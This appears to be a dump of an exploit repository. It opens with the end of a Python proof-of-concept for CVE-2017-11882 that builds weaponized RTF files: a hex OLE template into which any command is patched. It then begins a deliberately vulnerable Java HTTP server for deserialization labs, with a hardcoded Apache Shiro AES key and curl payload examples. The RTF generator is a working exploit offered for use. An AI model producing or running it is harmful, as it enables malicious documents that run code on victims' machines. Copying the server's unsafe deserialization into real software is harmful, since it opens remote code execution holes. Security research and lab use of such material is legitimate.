81 | 0000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02
82 | ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e
83 | 30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000
84 | 00000000000000000000000000000000000000000000000000000000000000000000000000030004
85 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000
86 | 000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4
87 | ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141
88 | 414141414141414141414141414141414141414141120c4300000000000000000000000000000000
89 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000
90 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000
91 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000
92 | 00000000000000000000000000000000000000000000000000000000000000000000004500710075
93 | 006100740069006f006e0020004e0061007400690076006500000000000000000000000000000000
94 | 0000000000000000000000000000000000000020000200ffffffffffffffffffffffff0000000000
95 | 0000000000000000000000000000000000000000000000000000000000000004000000c500000000
96 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000
97 | 00000000000000000000000000000000000000000000000000000000000000ffffffffffffffffff
98 | ffffff00000000000000000000000000000000000000000000000000000000000000000000000000
99 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000
100 | 000000000000000000000000000000000000000000000000000000000000000000000000000000ff
101 | ffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000
102 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000
103 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000
104 | 00000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000
105 | 00000000000000000000000000000000000000000000000000000001050000050000000d0000004d
106 | 45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500
107 | 000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00
108 | 050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00
109 | ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d617468
110 | 54797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e65
111 | 7720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a6001
112 | 90160a000000313131313131313131310c000000320a6001100f0a00000031313131313131313131
113 | 0c000000320a600190070a000000313131313131313131310c000000320a600110000a0000003131
114 | 31313131313131310a00000026060f000a00ffffffff0100000000001c000000fb02100007000000
115 | 0000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff
116 | 7cef1800040000002d01010004000000f0010000030000000000
117 | """
118 |
119 |
120 | COMMAND_OFFSET = 0x949*2
121 |
122 |
123 | def create_ole_exec_primitive(command):
124 | if len(command) > 43:
125 | print "[!] Primitive command must be shorter than 43 bytes"
126 | sys.exit(0)
127 | hex_command = command.encode("hex")
128 | objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n")
129 | ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):]
130 | return OBJECT_HEADER + ole_data + OBJECT_TRAILER
131 |
132 |
133 |
134 | def create_rtf(header,command,trailer):
135 | ole1 = create_ole_exec_primitive(command + " &")
136 |
137 | # We need 2 or more commands for executing remote file from WebDAV
138 | # because WebClient service start may take some time
139 | return header + ole1 + trailer
140 |
141 |
142 |
143 | if __name__ == '__main__':
144 | parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882")
145 | parser.add_argument("-c", "--command", help="Command to execute.", required=True)
146 | parser.add_argument('-o', "--output", help="Output exploit rtf", required=True)
147 |
148 | args = parser.parse_args()
149 |
150 | rtf_content = create_rtf(RTF_HEADER, args.command ,RTF_TRAILER)
151 |
152 | output_file = open(args.output, "w")
153 | output_file.write(rtf_content)
154 |
155 | print "[*] Done ! output file --> " + args.output
156 |
--------------------------------------------------------------------------------
/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/VulnerableHTTPServer.java:
--------------------------------------------------------------------------------
1 | import com.sun.net.httpserver.HttpExchange;
2 | import com.sun.net.httpserver.HttpHandler;
3 | import com.sun.net.httpserver.HttpServer;
4 |
5 | import sun.misc.BASE64Decoder;
6 |
7 | import javax.crypto.Cipher;
8 | import javax.crypto.spec.IvParameterSpec;
9 | import javax.crypto.spec.SecretKeySpec;
10 | import java.io.*;
11 | import java.lang.annotation.IncompleteAnnotationException;
12 | import java.lang.reflect.Constructor;
13 | import java.lang.reflect.Method;
14 | import java.net.InetSocketAddress;
15 | import java.net.URLDecoder;
16 | //this import is only for java 1.8
17 | //import java.util.Base64;
18 | import java.security.Key;
19 | import java.util.zip.GZIPInputStream;
20 |
21 | /**
22 | * Simples Servidor HTTP que desserializa dados recebidos nos seguintes formatos:
23 | *
24 | * 1) via HTTP POST em formato binário (ou seja, \xAC\xED)
25 | * 2) via HTTP POST como valor de algum parâmetro (eg. "ViewState") nos formatos 1) base64 (rO0...) ou 2) gzip+base64 (H4sI...)
26 | * 3) via cookies (header cookie) nos formatos base64 (rO0) ou gzip+base64 (H4sI) (eg. Cookie: JSESSIONID=rO0... ou Cookie: JSESSIONID=H4sI...)
27 | * 4) via Cookie rememberMe (like Apache Shiro), criptografado com aes-128-cbc e chave hardcoded
28 | * 5) via XML para explorar o XStream
29 | *
30 | * Após a desserialização, ele tenta fazer um cast para Integer, a fim de simular o que
31 | * ocorre em um servidor "real" (erro de casting após a desserialização)
32 | *
33 | *
34 | * OBS: Sobre Apache Shiro, ver:
35 | * https://github.com/apache/shiro/blob/master/crypto/cipher/src/main/java/org/apache/shiro/crypto/JcaCipherService.java
36 | * https://github.com/apache/shiro/blob/8acc82ab4775b3af546e3bbde928f299be62dc23/integration-tests/guice3/src/main/webapp/WEB-INF/shiro.ini
37 | * Para geracao do payload, use CommonsCollections2 ou CommonsCollections4 do ysoserial e criptografe com aes-128-cbc
38 | * Se preferir, existem mtos sccripts prontos para geracao do payload, veja:
39 | * ex: https://github.com/leveryd/vulndocker/blob/78ba54edbd2dd81f09bb6d3f03a446555e6b7614/vuln/shiro/shirotest.py
40 | * Análise: http://www.freebuf.com/articles/system/125187.html
41 | *
42 | * -----------------------------------------------------------------------
43 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
44 | * https://www.h2hc.com.br/revista/
45 | * -----------------------------------------------------------------------
46 | *
47 | * **** USAGE ****
48 | *
49 | * Compilando:
50 | * $ javac VulnerableHTTPServer.java -XDignore.symbol.file
51 | *
52 | * Executando
53 | * $ java VulnerableHTTPServer
54 | *
55 | * Ou, caso deseje testar payloads para explorar gadgets de bibliotecas específicas, use o -cp. Exs:
56 | * $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
57 | * $ java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableHTTPServer
58 | *
59 | * @author @joaomatosf
60 | */
61 |
62 | public class VulnerableHTTPServer {
63 |
64 | public static void banner(){
65 | System.out.println("* =============================================================== *");
66 | System.out.println("* Simple Java HTTP Server for Deserialization Lab v0.01 *");
67 | System.out.println("* https://github.com/joaomatosf/JavaDeserH2HC *");
68 | System.out.println("* =============================================================== *");
69 | System.out.println("You can inject java serialized objects in the following formats:");
70 | System.out.println(
71 | "\n 1) Binary in HTTP POST (ie \\xAC\\xED). Ex:\n" +
72 | " $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser\n"+
73 | "\n 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:\n" +
74 | " $ curl 127.0.0.1:8000 -d \"ViewState=rO0ABXNy...\"\n"+
75 | " $ curl 127.0.0.1:8000 -d \"ViewState=H4sICAeH...\"\n"+
76 | "\n 3) Base64 or Gzip+Base64 in cookies. Ex:\n"+
77 | " $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=rO0ABXNy...\"\n"+
78 | " $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=H4sICAeH...\"\n"+
79 | "\n 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:\n" +
80 | " $ curl 127.0.0.1:8000 -H \"Cookie: rememberMe=MTIzNDU2Nzg...\"\n"+
81 | "\n 5) XML for XStream RCE vulnerability/serialization. Ex:\n" +
82 | " $ curl 127.0.0.1:8000 -d @file.xml\n -H \"Content-Type: application/xml\"");
83 |
84 |
85 |
86 | System.out.println("OBS: To test gadgets in specific libraries, run with -cp param. Ex:\n" +
87 | "$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer");
88 | System.out.println("==================================================================");
89 |
90 | }
91 |
92 | public static void main(String[] args) throws IOException {
93 | banner();
94 | int port = 8000;
95 | HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
96 | server.createContext("/", new HTTPHandler());
97 | server.setExecutor(null); // creates a default executor
98 | server.start();
99 | System.out.println("\nJRE Version: "+System.getProperty("java.version"));
100 | System.out.println("[INFO]: Listening on port "+port);
101 | System.out.println();
102 | }
103 |
104 |
105 | static class HTTPHandler implements HttpHandler {
106 |
107 | String aesHardedCodeKey = "kPH+bIxk5D2deZiIxcaaaA==";
108 |
109 | public void handle(HttpExchange t) throws IOException {
110 |
111 | System.out.println("[INFO]: Received "+t.getRequestMethod()+" "+t.getRequestURI()+" from: "+t.getRemoteAddress());
112 |
113 | String responseMsg = null;
114 | boolean containsCookie = t.getRequestHeaders().containsKey("cookie");
115 |
116 | // if there's a cookie with serialized java object
117 | if (containsCookie){
118 | String object = t.getRequestHeaders().get("cookie").get(0);
119 | object = getObjectValue(object);
120 |
121 | if (object.startsWith("H4sI") || object.startsWith("rO0") )
122 | responseMsg = deserialize(object);
123 | else { // try deserialize aes-cbc encrypted object
124 |
125 | byte[] plainText = decryptAES(object,aesHardedCodeKey);
126 | if (plainText == null)
127 | responseMsg = "\nAn error ocurred when decrypting the stream.\n";
128 | else
129 | responseMsg = deserialize(new ByteArrayInputStream(plainText));
130 | }
131 |
132 | }
133 | else if (t.getRequestMethod().equals("POST")){
134 |
135 | InputStream input = t.getRequestBody();
136 | // take 2 bytes from header to check if it is a raw object
137 | PushbackInputStream pbis = new PushbackInputStream( input, 2 );
138 | byte [] header = new byte[2];
139 | int len = pbis.read(header);
140 | pbis.unread( header, 0, len );
141 | StringBuffer headerResult = new StringBuffer();
142 | for (byte b: header)
143 | headerResult.append(String.format("%02x", b));
144 |
145 | // deserialize raw
146 | if (headerResult.toString().equals("aced"))
147 | responseMsg = deserialize(pbis); // deserialize RAW
148 | else{ // deserialize H4sI, rO0,...
149 | // read input into string
150 | InputStreamReader isr = new InputStreamReader(pbis, "utf-8");
151 | BufferedReader br = new BufferedReader(isr);
152 | String body = br.readLine();
153 | String paramName = "";
154 | String object = getObjectValue(body);
155 |
156 | if (object.startsWith("H4sI") || object.startsWith("rO0") )
157 | responseMsg = deserialize(object); // deserialize H4sI, rO0...
158 | else if (object.startsWith("<") )
159 | responseMsg = deserializeXStream(object); // xtream
160 | }
161 |
162 |
163 | }// end if POST
164 | else{
165 |
166 | responseMsg = "" +
167 | "\nDeserLab v0.01 " +
168 | "\n
DeserLab v0.01 - Vulnerable HTTP Server for Deserialization Vulnerabilities Tests." +
169 | "\n
See examples at: https://github.com/joaomatosf/JavaDeserH2HC" +
170 | "\n